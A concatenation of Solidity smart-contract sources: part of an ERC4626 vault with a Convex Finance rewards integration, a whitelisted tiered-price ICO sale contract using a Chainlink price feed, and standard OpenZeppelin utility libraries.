return supply == 0 ? amount : amount.mulDivDown(supply, totalAssets());
}
function previewMint(uint256 shares) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply);
}
function previewWithdraw(uint256 amount) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? amount : amount.mulDivUp(supply, totalAssets());
}
function previewRedeem(uint256 shares) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply);
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LIMIT LOGIC
//////////////////////////////////////////////////////////////*/
function maxDeposit(address) public virtual returns (uint256) {
return type(uint256).max;
}
function maxMint(address) public virtual returns (uint256) {
return type(uint256).max;
}
function maxWithdraw(address user) public virtual returns (uint256) {
return assetsOf(user);
}
function maxRedeem(address user) public virtual returns (uint256) {
return balanceOf[user];
}
/*///////////////////////////////////////////////////////////////
INTERNAL HOOKS LOGIC
//////////////////////////////////////////////////////////////*/
function beforeWithdraw(uint256 amount, uint256 shares) internal virtual {}
function afterDeposit(uint256 amount, uint256 shares) internal virtual {}
}
/// @title Rewards Claiming Contract
/// @author joeysantoro
contract RewardsClaimer {
using SafeTransferLib for ERC20;
event RewardDestinationUpdate(address indexed newDestination);
event ClaimRewards(address indexed rewardToken, uint256 amount);
/// @notice the address to send rewards
address public rewardDestination;
/// @notice the array of reward tokens to send to
ERC20[] public rewardTokens;
constructor(
address _rewardDestination,
ERC20[] memory _rewardTokens
) {
rewardDestination = _rewardDestination;
rewardTokens = _rewardTokens;
}
/// @notice claim all token rewards
function claimRewards() public {
beforeClaim(); // hook to accrue/pull in rewards, if needed
uint256 len = rewardTokens.length;
// send all tokens to destination
for (uint256 i = 0; i < len; i++) {
ERC20 token = rewardTokens[i];
uint256 amount = token.balanceOf(address(this));
token.safeTransfer(rewardDestination, amount);
emit ClaimRewards(address(token), amount);
}
}
/// @notice set the address of the new reward destination
/// @param newDestination the new reward destination
function setRewardDestination(address newDestination) external {
require(msg.sender == rewardDestination, "UNAUTHORIZED");
rewardDestination = newDestination;
emit RewardDestinationUpdate(newDestination);
}
/// @notice hook to accrue/pull in rewards, if needed
function beforeClaim() internal virtual {}
}
// Docs: https://docs.convexfinance.com/convexfinanceintegration/booster
// main Convex contract(booster.sol) basic interface
interface IConvexBooster {
// deposit into convex, receive a tokenized deposit. parameter to stake immediately
function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool);
}
interface IConvexBaseRewardPool {
function pid() external view returns (uint256);
function withdrawAndUnwrap(uint256 amount, bool claim) external returns(bool);
function getReward(address _account, bool _claimExtras) external returns(bool);
function balanceOf(address account) external view returns (uint256);
function extraRewards(uint256 index) external view returns(IRewards);
function extraRewardsLength() external view returns(uint);
function rewardToken() external view returns(ERC20);
}
interface IRewards {
function rewardToken() external view returns(ERC20);
}
/// @title Convex Finance Yield Bearing Vault
/// @author joeysantoro
contract ConvexERC4626 is ERC4626, RewardsClaimer {
using SafeTransferLib for ERC20;
/// @notice The Convex Booster contract (for deposit/withdraw)
IConvexBooster public immutable convexBooster;
/// @notice The Convex Rewards contract (for claiming rewards)
IConvexBaseRewardPool public immutable convexRewards;
/// @notice Convex token
ERC20 CVX = ERC20(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
uint256 public immutable pid;
/**
@notice Creates a new Vault that accepts a specific underlying token.
@param _asset The ERC20 compliant token the Vault should accept.
@param _name The name for the vault token.
@param _symbol The symbol for the vault token.
@param _convexBooster The Convex Booster contract (for deposit/withdraw).
@param _convexRewards The Convex Rewards contract (for claiming rewards).
@param _rewardsDestination the address to send CRV and CVX.
@param _rewardTokens the rewards tokens to send out.
*/
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol,
IConvexBooster _convexBooster,
IConvexBaseRewardPool _convexRewards,
address _rewardsDestination,
ERC20[] memory _rewardTokens
)
ERC4626(_asset, _name, _symbol)
RewardsClaimer(_rewardsDestination, _rewardTokens)
{
convexBooster = _convexBooster;
convexRewards = _convexRewards;
pid = _convexRewards.pid();
_asset.approve(address(_convexBooster), type(uint256).max);
}
function updateRewardTokens() public {
uint256 len = convexRewards.extraRewardsLength();
require(len < 5, "exceed max rewards");
delete rewardTokens;
bool cvxReward;
for (uint256 i = 0; i < len; i++) {
rewardTokens.push(convexRewards.extraRewards(i).rewardToken());
if (convexRewards.extraRewards(i).rewardToken() == CVX) cvxReward = true;
}
if (!cvxReward) rewardTokens.push(CVX);
rewardTokens.push(convexRewards.rewardToken());
}
function afterDeposit(uint256 amount, uint256) internal override {
require(convexBooster.deposit(pid, amount, true), "deposit error");
}
function beforeWithdraw(uint256 amount, uint256) internal override {
require(convexRewards.withdrawAndUnwrap(amount, false), "withdraw error");
}
function beforeClaim() internal override {
require(convexRewards.getReward(address(this), true), "rewards error");
}
/// @notice Calculates the total amount of underlying tokens the Vault holds.
/// @return The total amount of underlying tokens the Vault holds.
function totalAssets() public view override returns (uint256) {
return convexRewards.balanceOf(address(this));
}
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] | [
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] |
// SPDX-License-Identifier: MIT;
pragma solidity >=0.8.0;
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol';
contract ICO is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint;
struct ICOStateSchema {
uint256 currentIteration;
uint256 currentPrice;
uint256 ICOAllocatedTokensAmount;
uint256 tokensLeft;
}
uint256 public oneIterationTokenAmount = 10 * 10 ** 6 * 10 ** 10;
bool public icoCompleted;
uint256 public icoStartTime;
uint256 public icoEndTime;
address public tokenAddress;
uint256 public currentIterationOfICO;
uint256 public current_allocatedTokens;
uint256 public minLimit = 1 * 10 ** 10;
uint256 public maxLimit = 1 * 10 ** 8 * 10 ** 10;
uint256 private referralBonus = 20;
uint256 private commission = 8 * 10 ** 15;
uint256 private maxRoundICO = 200;
AggregatorV3Interface private priceFeed;
uint256 public usdPrice;
uint256 private startPriceInUSD = 5; // since this value is 0.0005 . Multiplying it by 10000
uint256 private stepPriceInUSD;
mapping(address => bool) allowedInvestors;
event Allocated(uint256 amount);
event WithdrawedETH(address user, uint256 amount);
event MinLimitUpdated(uint256 newLimit);
event MaxLimitUpdated(uint256 newLimit);
event Bought(address buyer, uint256 amount, uint256 usdPrice);
modifier allowedInvestor {
require(allowedInvestors[msg.sender], "Your address not allowed. Please contact with owner.");
_;
}
modifier whenIcoStart {
require(!icoCompleted, 'ICO completed');
require(icoStartTime != 0, 'ICO has not started yet');
_;
}
constructor(address _tokenAddress, address owner){
require(_tokenAddress != address(0) && owner != address(0), "Incorrect addresses");
tokenAddress = _tokenAddress;
transferOwnership(owner);
allowedInvestors[owner] = true;
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
}
/// can be accessed only by owner
function startICO() public onlyOwner {
require(icoStartTime == 0, "ICO was started before");
_allocate();
icoStartTime = block.timestamp;
}
/// can be accessed only by owner
function setMinLimit(uint256 newLimit) public onlyOwner {
minLimit = newLimit;
emit MinLimitUpdated(maxLimit);
}
/// can be accessed only by owner
function setMaxLimit(uint256 newLimit) public onlyOwner {
maxLimit = newLimit;
emit MaxLimitUpdated(maxLimit);
}
/// can be accessed only by owner
function setReferralBonus(uint256 _bonus) external onlyOwner {
require(_bonus <= 100, 'Referral bonus should not be more than 100%');
referralBonus = _bonus;
}
/// can be accessed only by owner
function getReferralBonus() external view returns (uint256) {
return referralBonus;
}
/// can be accessed only by owner
function setCommission(uint256 _commission) external onlyOwner {
commission = _commission;
}
/// read only
/// returns uint256
function getCommission() external view returns (uint256) {
return commission;
}
/// can be accessed only by owner
function addAddressToAllowed(address client) public onlyOwner {
allowedInvestors[client] = true;
}
/// can be accessed only by owner
function removeAddressFromAllowed(address client) public onlyOwner {
allowedInvestors[client] = false;
}
function _allocate() private {
require(currentIterationOfICO <= maxRoundICO, 'Funding cycle ended');
if (icoStartTime == 0) {
usdPrice = startPriceInUSD;
} else if (currentIterationOfICO == 0) {
oneIterationTokenAmount = 19 * 10 ** 5 * 10 ** 10;
usdPrice = 10;
// to have correct order over startPriceInUSD -> Multiplying 0.001 by 10000
stepPriceInUSD = 1;
currentIterationOfICO++;
} else if (currentIterationOfICO > 0 && currentIterationOfICO < 100) {
usdPrice = usdPrice.add(stepPriceInUSD);
currentIterationOfICO++;
} else if (currentIterationOfICO == 100) {
oneIterationTokenAmount = 8 * 10 ** 6 * 10 ** 10;
usdPrice = 110;
// to have correct order over startPriceInUSD -> Multiplying 0.011 by 10000
stepPriceInUSD = 10;
currentIterationOfICO++;
} else if (currentIterationOfICO > 100 && currentIterationOfICO <= maxRoundICO) {
usdPrice = usdPrice.add(stepPriceInUSD);
currentIterationOfICO++;
}
current_allocatedTokens = current_allocatedTokens.add(oneIterationTokenAmount);
emit Allocated(current_allocatedTokens);
}
receive() external payable {
buy();
}
function _getAmountForETH(uint amountETH) private view returns (uint256){
(
,
// rate is giving with precision to actual price * 10 ** 8
int rate,
,
,
) = priceFeed.latestRoundData();
// So here we have to divide final amount
uint256 usdAmount = amountETH.mul(uint256(rate)).div(10 ** 8);
// Since token price is less then 1 - we have to multiply the smallest value to 10 ** 4
// So on every calculation of price it should be divided into 10 ** 4
uint256 amountTokens = usdAmount.div(usdPrice).div(10 ** 14).mul(10 ** 10);
if (amountTokens > current_allocatedTokens) {
uint256 tokenPrice = usdPrice;
uint256 current_allocated = current_allocatedTokens;
uint256 icoRound = currentIterationOfICO;
amountTokens = 0;
while (usdAmount > 0) {
uint256 amount = usdAmount.div(tokenPrice).div(10 ** 4);
if (amount > current_allocated) {
amountTokens = amountTokens.add(current_allocated);
uint256 ethForAllocated = getCost(current_allocated);
uint256 usdForAllocated = ethForAllocated.mul(uint256(rate)).div(10 ** 8);
usdAmount = usdAmount.sub(usdForAllocated);
if (currentIterationOfICO < maxRoundICO) {
icoRound++;
}
(uint256 roundPrice, uint256 stepPrice) = getTokenPrice(icoRound);
tokenPrice = roundPrice.add(stepPrice);
amount = usdAmount.div(tokenPrice).div(10 ** 4);
current_allocated = getTokensPerIteration(icoRound);
} else if (amount <= current_allocated) {
amountTokens = amountTokens.add(amount);
usdAmount = 0;
}
}
}
return amountTokens;
}
/// get cost is calculating price including switch to different price range
/// read only
/// returns uint256
function getCost(uint amount) public view returns (uint256){
uint256 usdCost;
uint256 ethCost;
int exchangeRate = getLatestPrice();
if (amount <= current_allocatedTokens) {
usdCost = amount.mul(usdPrice).div(10 ** 4);
ethCost = getPriceInETH(usdCost, exchangeRate);
} else {
uint256 price = usdPrice;
uint256 stepPrice;
uint256 current_allocated = current_allocatedTokens;
uint256 icoRound = currentIterationOfICO;
uint256 iterationAmount;
while (amount > 0) {
if (current_allocated > 0) {
amount = amount.sub(current_allocated);
usdCost = current_allocated.div(10 ** 4).mul(price).add(usdCost);
current_allocated = 0;
icoRound++;
(price, stepPrice) = getTokenPrice(icoRound);
price = price.add(stepPrice);
}
// get amounts for the next round since it could be different
iterationAmount = getTokensPerIteration(icoRound);
if (amount > iterationAmount) {
amount = amount.sub(iterationAmount);
usdCost = iterationAmount.div(10 ** 4).mul(price).add(usdCost);
icoRound++;
(price, stepPrice) = getTokenPrice(icoRound);
price = price.add(stepPrice);
}
iterationAmount = getTokensPerIteration(icoRound);
if (amount <= getTokensPerIteration(icoRound)) {
usdCost = amount.div(10 ** 4).mul(price).add(usdCost);
amount = 0;
}
}
ethCost = getPriceInETH(usdCost, exchangeRate);
}
return ethCost;
}
function _changeCurrentAllocatedTokens(uint256 amount, uint256 ethForTokens) private {
if (amount <= current_allocatedTokens) {
current_allocatedTokens = current_allocatedTokens.sub(amount);
} else {
uint256 amountForLoop = amount;
while (amountForLoop > 0) {
if (amountForLoop > current_allocatedTokens) {
amountForLoop = amountForLoop.sub(current_allocatedTokens);
uint256 ethForStep = getCost(current_allocatedTokens);
ethForTokens = ethForTokens.sub(ethForStep);
current_allocatedTokens = 0;
_allocate();
amountForLoop = _getAmountForETH(ethForTokens);
} else if (amountForLoop <= current_allocatedTokens) {
current_allocatedTokens = current_allocatedTokens.sub(amountForLoop);
amountForLoop = 0;
}
}
}
}
function _completeICO() private {
if (current_allocatedTokens < minLimit && currentIterationOfICO >= maxRoundICO) {
icoEndTime = block.timestamp;
icoCompleted = true;
} else if (current_allocatedTokens == 0) {
_allocate();
}
}
function _sendTokens(address client, uint256 amountToken) private nonReentrant {
IERC20(tokenAddress).transfer(client, amountToken);
emit Bought(client, amountToken, usdPrice);
}
function withdrawReward() public nonReentrant onlyOwner {
uint256 amount = address(this).balance;
require(amount > 0, 'Not enough reward for withdraw');
(bool success,) = address(msg.sender).call{value : amount}("");
require(success, 'Transfer failed');
emit WithdrawedETH(msg.sender, amount);
}
/// read only
/// returns ICOStateSchema
function getCurrentICOState() public view returns (ICOStateSchema memory currentState) {
require(icoStartTime != 0, 'ICO was not started can not _allocate new tokens');
currentState.currentIteration = currentIterationOfICO;
currentState.currentPrice = usdPrice;
currentState.ICOAllocatedTokensAmount = oneIterationTokenAmount;
currentState.tokensLeft = current_allocatedTokens;
}
/// available only after start of ICO
/// accessible only by allowed investors
/// payable
/// returns uint256
function buy() public payable whenIcoStart allowedInvestor {
require(msg.value > commission, 'Amount of ETH smaller than commission');
uint256 ethForTokens = msg.value.sub(commission);
uint256 amount = _getAmountForETH(ethForTokens);
require(amount >= minLimit, 'Amount for one purchase is too low');
require(amount <= maxLimit, 'Limit for one purchase is reached');
_changeCurrentAllocatedTokens(amount, ethForTokens);
_sendTokens(msg.sender, amount);
_completeICO();
}
/// payable
/// accessible only by allowed investors
function buyWithReferral(address payable referral) external payable
allowedInvestor whenIcoStart {
require(referral != address(0), 'Referral address should not be empty');
require(referral != msg.sender, 'Referral address should not be equal buyer address');
require(msg.value > commission, 'Amount of ETH smaller than commission');
uint256 bonusAmount = (msg.value.sub(commission)).mul(referralBonus).div(100);
buy();
(bool success,) = referral.call{value : bonusAmount}("");
require(success);
}
/// available only after start of ICO
/// payable
/// can be accessed only by owner
function buyFor(address buyer) public payable onlyOwner whenIcoStart {
uint256 amount = _getAmountForETH(msg.value);
require(amount >= minLimit, 'Amount for one purchase is too low');
require(amount <= maxLimit, 'Limit for one purchase is reached');
require(buyer != address(0), 'Buyer address should not be empty');
_changeCurrentAllocatedTokens(amount, msg.value);
IERC20(tokenAddress).transfer(buyer, amount);
emit Bought(buyer, amount, usdPrice);
_completeICO();
}
/// available only after start of ICO
/// payable
/// can be accessed only by owner
function buyForWithReferral(address buyer, address payable referral) external payable
onlyOwner whenIcoStart {
require(referral != address(0), 'Referral address should not be empty');
require(referral != msg.sender, 'Referral address should not be equal buyer address');
require(referral != buyer, 'Referral address should not be equal buyer address');
uint256 bonusAmount = (msg.value).mul(referralBonus).div(100);
buyFor(buyer);
(bool success,) = referral.call{value : bonusAmount}("");
require(success);
}
/// read only
/// returns int
function getLatestPrice() public view returns (int) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return 1 ether / (price / (10 ** 8));
}
/// returns uint256
function getPriceInETH(uint256 amount, int exchangeRate) public pure returns (uint256) {
return amount.mul(uint256(exchangeRate)).div(10 ** 10);
}
/// read only
/// returns uint256
function getTokenPrice(uint256 icoIteration) public view returns (uint256, uint256) {
require(icoIteration <= maxRoundICO, 'Incorrect ICO round');
uint256 price;
uint256 stepPrice;
if (icoIteration == 0) {
price = startPriceInUSD;
} else if (icoIteration == 1) {
price = 10;
stepPrice = 0;
} else if (icoIteration > 1 && icoIteration <= 100) {
price = 10;
stepPrice = icoIteration.sub(1);
} else if (icoIteration == 101) {
price = 110;
stepPrice = 0;
} else {
price = 110;
stepPrice = icoIteration.sub(101).mul(10);
}
return (price, stepPrice);
}
/// read only
/// returns uint256
function getTokensPerIteration(uint256 icoIteration) public view returns (uint256) {
require(icoIteration <= maxRoundICO, 'Incorrect ICO round');
uint256 amount;
if (icoIteration == 0) {
amount = 10 * 10 ** 6 * 10 ** 10;
} else if (icoIteration > 0 && icoIteration <= 100) {
amount = 19 * 10 ** 5 * 10 ** 10;
} else {
amount = 8 * 10 ** 6 * 10 ** 10;
}
return amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
